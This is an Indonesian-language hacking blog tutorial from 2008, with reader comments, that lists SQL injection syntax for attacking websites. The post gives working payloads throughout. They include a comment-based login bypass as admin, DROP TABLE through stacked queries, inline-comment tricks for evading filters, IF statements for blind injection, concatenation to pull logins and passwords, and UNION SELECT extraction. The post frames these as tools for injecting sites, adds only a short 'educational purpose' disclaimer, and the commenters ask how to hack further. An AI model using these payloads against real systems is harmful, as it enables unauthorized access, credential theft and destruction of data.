Binus Hacker - Independent Hacking Community   Subscribe to Binus Hacker Subscribe to Binus Hacker

Simple SQL Injection Tutorial

15 October 2008
Penulis: UtuH   · Kategori Artikel: Tutorial

Binus Hacker Sponsor Banner


This information is for educational purpose only.
Please use this information wisely.

Udah pada tau kan soal SQL injection?
Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat)
Itu tutorial basic, sekarang kita ke tutorial advance.
Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakan
untuk menginject suatu website (jika emang bisa diinject).

Oke, lets’ begin

Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#

Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan

2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist

+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)

5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist

Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.

Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel

Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

- Enjoy -

Binus Hacker Sponsor Banner

Komentar

16 Komentar Untuk “Simple SQL Injection Tutorial
Silahkan Berikan Tanggapan Anda Untuk Artikel Ini...

  1. Bagas pada 17 October 2008 9:27 pm

    makasih buad pencerahannya

    keep in touch

  2. hypno pada 20 October 2008 7:48 am

    makasi ilmunya om..

  3. belajar pada 31 October 2008 1:28 am

    I Love This Site…

  4. F4rr3l pada 19 January 2009 8:48 pm

    terima kasih banyak atas di muatnya tutor hack ini, coz dengan demikian kita bisa melawan tirani dimuka bumi ini, walau hanya lewat bawah tanah

  5. asa pada 17 March 2009 2:09 am

    peng

  6. p4Ttr0Li_Cy83r pada 4 May 2009 9:02 am

    makasih sql injectionya…bermanfaat bgt buat gw

  7. Lionel pada 10 July 2009 7:46 am

    bagaiman cara protek mysql dari backdoor?
    tolong ya bantuannya,,sekalian contoh scriptnya,,

  8. dewi pada 23 August 2009 12:58 am

    Ok, D3ech

  9. rent pada 10 November 2009 8:07 pm

    gut…gut…semakin hebat nih>>>

  10. hyperbenallu pada 26 December 2009 12:05 am

    lebih kreatif lagi yaw

  11. mulkan pada 2 February 2010 10:58 pm

    Yuuk langsung buat aplikasi pake java dunk

  12. kenken pada 2 May 2010 10:26 pm

    yang bagian awalnya DL dimana ya ???
    thx be4…
    :)

  13. rezkha pada 5 June 2010 11:16 pm

    gilaaaaaaaaaaaaaaaaaaaaaaaaaaaa pertama belajar SQL injection susah bgt….klo gwe butuh 2 minggu lebih ntuk mahamin semua nya tapi itu juga ga sema nya………….dan seneng bisa tau SQL injectio

  14. echa pada 9 July 2010 4:59 am

    SQL injection, gampang2 susah………..

  15. pencari pada 30 August 2010 5:45 am

    bagaimana cara meng-hacke sql yang sudah dibuat dengan ekstensi lain (bulan *.sql, tetapi menjadi *.sdl). Trimakasih

  16. pencari pada 30 August 2010 5:46 am

    bagaimana cara meng-hacke sql yang sudah dibuat dengan ekstensi lain ( *.sql diubah menjadi *.sdl). Trimakasih

Silahkan Berikan Tanggapan Anda...